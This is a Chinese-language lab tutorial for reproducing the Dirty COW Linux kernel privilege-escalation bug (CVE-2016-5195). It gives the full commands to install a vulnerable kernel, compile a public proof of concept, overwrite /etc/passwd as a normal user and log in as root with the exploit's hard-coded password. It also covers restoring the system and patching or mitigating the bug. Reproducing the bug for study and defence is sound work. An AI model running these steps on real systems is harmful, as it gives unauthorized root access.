1. 核心机制
-
写时复制(COW)缺陷:内核在处理只读内存页写入时,因竞争条件导致未正确创建新副本,直接修改原始文件。
-
提权逻辑:通过修改
/etc/passwd
等关键文件,注入高权限用户或篡改现有用户权限。
2. 影响范围
-
内核版本:2.6.22 ~ 4.8.3(2016 年 10 月 18 日修复)。
-
环境要求:需手动更换受影响内核,新内核(>4.8.3)已修复。
二、复现环境搭建
1. 更换受影响内核
# 安装旧内核
sudo apt-get install linux-image-4.4.0-21-generic linux-headers-4.4.0-21-generic
# 配置 GRUB 启动项
sudo nano /etc/default/grub
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 4.4.0-21-generic"
sudo update-grub && sudo reboot
# 验证内核版本
uname -r # 需输出 4.4.0-21-generic
2. 安装编译依赖
sudo apt-get install build-essential gcc g++ make git
三、漏洞利用步骤
1. 获取与编译 POC
# 克隆 POC 仓库(以 gbonacini 版为例)
git clone https://github.com/gbonacini/CVE-2016-5195 && cd CVE-2016-5195
# 编译生成可执行文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
2. 备份关键文件(必做!)
sudo cp /etc/passwd /etc/passwd.bak
3. 运行 POC 并提权
# 普通用户执行(非 root)
./dcow # 基础模式,修改 /etc/passwd
# 或
./dcow -s # 自动提权并恢复(推荐)
4. 动态检查提权结果
# 查看 /etc/passwd 变更
cat /etc/passwd | grep -i 'root\|0:0'
# 示例:发现被篡改的 root 用户
su root
输入密码:dirtyCowFun(POC 硬编码密码)
whoami # 输出 root 则成功
5. 系统恢复
sudo cp /etc/passwd.bak /etc/passwd
四、关键注意事项
-
POC 逻辑差异
-
不同 POC 可能篡改不同用户(如
daemon
、syslog
),必须通过cat /etc/passwd
确认实际用户名。 -
若运行失败,多次尝试(漏洞依赖线程竞争,成功率非 100%)。
-
-
环境兼容性
-
确保使用 Ubuntu 16.04 或类似发行版,避免因系统差异导致失败。
-
编译时若报错,检查
g++
版本是否兼容 C++11 标准。
-
-
法律与安全风险
-
仅限授权测试环境,禁止未授权使用。
-
测试后务必还原
/etc/passwd
,避免权限混乱。
-
-
漏洞扩展
-
大脏牛漏洞(CVE-2017-1000405):原漏洞补丁缺陷,需关闭透明大页(THP)缓解。
-
五、修复建议(生产环境)
-
更新内核
-
升级至 4.8.3 以上版本,彻底修复漏洞。
-
-
临时防护
-
关闭透明大页:
echo never > /sys/kernel/mm/transparent_hugepage/enabled
。
-
-
监控与审计
-
使用 Tripwire 等工具监控
/etc/passwd
等关键文件变更。
-